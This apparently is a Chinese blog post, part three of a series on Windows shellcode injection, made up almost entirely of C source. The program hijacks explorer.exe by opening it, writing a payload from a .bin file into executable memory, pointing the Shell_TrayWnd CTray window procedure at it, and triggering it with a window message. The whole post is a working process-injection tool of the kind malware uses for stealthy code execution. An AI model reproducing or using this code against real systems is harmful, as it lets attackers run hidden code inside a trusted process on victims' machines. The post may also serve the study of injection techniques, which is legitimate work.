windows：shellcode 远程线程hook/注入(三)

//#define UNICODE
#include "ntlib/ntddk.h"
#include <stdio.h>
#pragma comment(lib, "user32.lib")
#pragma comment(lib, "shell32.lib")
#pragma comment(lib, "ntdll.lib")


// CTray object for Shell_TrayWnd
typedef struct _ctray_vtable {
    ULONG_PTR vTable;    // change to remote memory address
    ULONG_PTR AddRef;
    ULONG_PTR Release;
    ULONG_PTR WndProc;   // window procedure (change to payload)
} CTray;

VOID CTray_WndProc_Hook(LPVOID payload, DWORD payloadSize);
VOID kernelcallbacktable(LPVOID payload, DWORD payloadSize);
DWORD readpic(PWCHAR path, LPVOID* pic);


#endif // !_KCT_H

#include "ktc.h"

VOID CTray_WndProc_Hook(LPVOID payload, DWORD payloadSize)
{
    LPVOID    cs, ds;
    CTray     ct;
    ULONG_PTR ctp;
    HWND      hw;
    HANDLE    hp;
    DWORD     pid;
    SIZE_T    wr;

    // 1. Obtain a handle for the shell tray window
    hw = FindWindow(L"Shell_TrayWnd", NULL);

    // 2. Obtain a process id for explorer.exe
    GetWindowThreadProcessId(hw, &pid);
    printf("find window ID=%d\n", pid);
    // 3. Open explorer.exe
    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

    // 4. Obtain pointer to the current CTray object
    ctp = GetWindowLongPtr(hw, 0);
    if (ctp == 0)
    {
        printf("GetWindowLongPtr failed!\n");
        CloseHandle(hp);
        return;
    }

    // 5. Read address of the current CTray object
    ReadProcessMemory(hp, (LPVOID)ctp,
        (LPVOID)&ct.vTable, sizeof(ULONG_PTR), &wr);

    // 6. Read three addresses from the virtual table
    ReadProcessMemory(hp, (LPVOID)ct.vTable,
        (LPVOID)&ct.AddRef, sizeof(ULONG_PTR) * 3, &wr);

    // 7. Allocate RWX memory for code
    cs = VirtualAllocEx(hp, NULL, payloadSize,
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    // 8. Copy the code to target process
    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
    printf("payload address:%p\n", payload);
    //printf("cs address:%p---->%s\n", cs, *(char *)cs);//cs是exlorer进程的地址，这里读会出事；
    printf("cs address:%p\n", cs);
    // 9. Allocate RW memory for the new CTray object
    ds = VirtualAllocEx(hp, NULL, sizeof(ct),
        MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    // 10. Write the new CTray object to remote memory
    ct.vTable = (ULONG_PTR)ds + sizeof(ULONG_PTR);
    ct.WndProc = (ULONG_PTR)cs;

    WriteProcessMemory(hp, ds, &ct, sizeof(ct), &wr);

    // 11. Set the new pointer to CTray object
    if (SetWindowLongPtr(hw, 0, (ULONG_PTR)ds) == 0) 
    {
        printf("SetWindowLongPtr failed!\n");
        VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT);
        VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT);
        CloseHandle(hp);
        return;
    }
　　 system("pause");
    // 12. Trigger the payload via a windows message
    //PostMessage(hw, WM_CLOSE, 0, 0);
    PostMessage(hw, WM_PAINT, 0, 0);
    //SendNotifyMessageA(hw, WM_PAINT, 0, 0); //执行注入代码
    Sleep(1);
    system("pause");
    // 13. Restore the original CTray object
    SetWindowLongPtr(hw, 0, ctp);

    system("pause");

    // 14. Release memory and close handles
    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT);
    VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT);
    CloseHandle(hp);
}

/*shellcode从bin文件读出来*/
DWORD readpic(PWCHAR path, LPVOID* pic) {
    HANDLE hf;
    DWORD  len, rd = 0;

    // 1. open the file
    hf = CreateFile(path, GENERIC_READ, 0, 0,
        OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

    if (hf != INVALID_HANDLE_VALUE) {
        // get file size
        len = GetFileSize(hf, 0);
        // allocate memory
        *pic = malloc(len + 16);
        printf("*pic:%p------------->\n", *pic);
        // read file contents into memory
        ReadFile(hf, *pic, len, &rd, 0);
        CloseHandle(hf);
    }
    return rd;
}

int main(void) {
    LPVOID pic = NULL;
    DWORD  len;
    int    argc;
    PWCHAR* argv;

    argv = CommandLineToArgvW(GetCommandLine(), &argc);

    if (argc != 2) 
    { 
        printf("usage: kct <payload>\n");
        return 0; 
    }

    len = readpic(argv[1], &pic);
    if (len == 0) { printf("invalid payload\n"); return 0; }

    //kernelcallbacktable(pic, len);
    CTray_WndProc_Hook(pic, len);
    return 0;
}